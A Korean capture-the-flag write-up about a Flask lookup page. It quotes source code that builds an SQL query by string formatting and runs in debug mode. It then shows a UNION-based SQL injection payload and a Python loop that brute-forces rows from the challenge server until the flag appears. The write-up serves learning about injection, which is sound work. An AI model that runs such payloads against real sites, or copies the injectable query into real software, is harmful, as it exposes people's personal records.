#! /usr/bin/env python3
#-*- coding: utf-8 -*-
from flask import Flask, render_template
from flask import request, redirect, url_for
from functools import wraps
import os, json
from db import query
server = Flask(__name__)
server.secret_key = os.urandom(32)
@server.route('/')
def main():
return render_template('index.html')
@server.route('/lookup', methods=['POST'])
def lookup():
name = request.form.get("name")
birth = request.form.get("birth")
# db has name, phone, candidate_no, birth, is_passed
if not (name and birth):
return render_template('result.html', result=None)
result = query('SELECT * FROM prob where name="{}" and birth="{}"'.format(name, birth))
return render_template('result.html', result=result)
if __name__ == '__main__':
server.run(host='0.0.0.0', debug=True)
코드와 같이 주어진 문제다. 사람의 정보를 조회하는 것 같다. 친절하게도 column값이 주어졌다.
'name, phone, candidate_no, birth, is_passed' select문이 있는데 딱 봐도 너무 허술하다. 또 취약한 부분은 debug=True로 설정되어있는 것이다. debug 비밀번호를 따내서 debug를 뚫을 수 있는 방법이 있다. 후자는 아무래도 난이도가 좀 있다보니 전자를 일단 해보자.
"를 이용해서 일단 sql injection이 되는것을 알 수 있었고 아쉽게도 group_concat은 먹히지 않는다. 그리고 1개의 row만 출력되는것 같아서 limit을 이용해서 여러개 넣어보았다. name=1, birth=1" union select * from prob limit 5,6# 를 넘겨주니
뭔가 값들을 다 뒤져보면 될거 같아서 페이로드를 작성해 브루트포스를 했다.
for i in range (1000):
url = 'http://ctf-hackingcamp.com:44001/lookup'
data ={}
data['name']='1'
data['birth']='1" union select * from prob limit {},{}# '.format(str(i),str(i+1))
res = requests.post(url=url, data=data)
if 'HCAMP' in res.text:
print(res.text)
<tr>
<td>이름</td><td>HCAMP{5D46BCE881C8E9EAAA547453D4E15A21}</td>
</tr>
solved 쉬운문제였다.
뭔가 사고력을 요하는 문제는 없는것 같다... blind injection이라든지...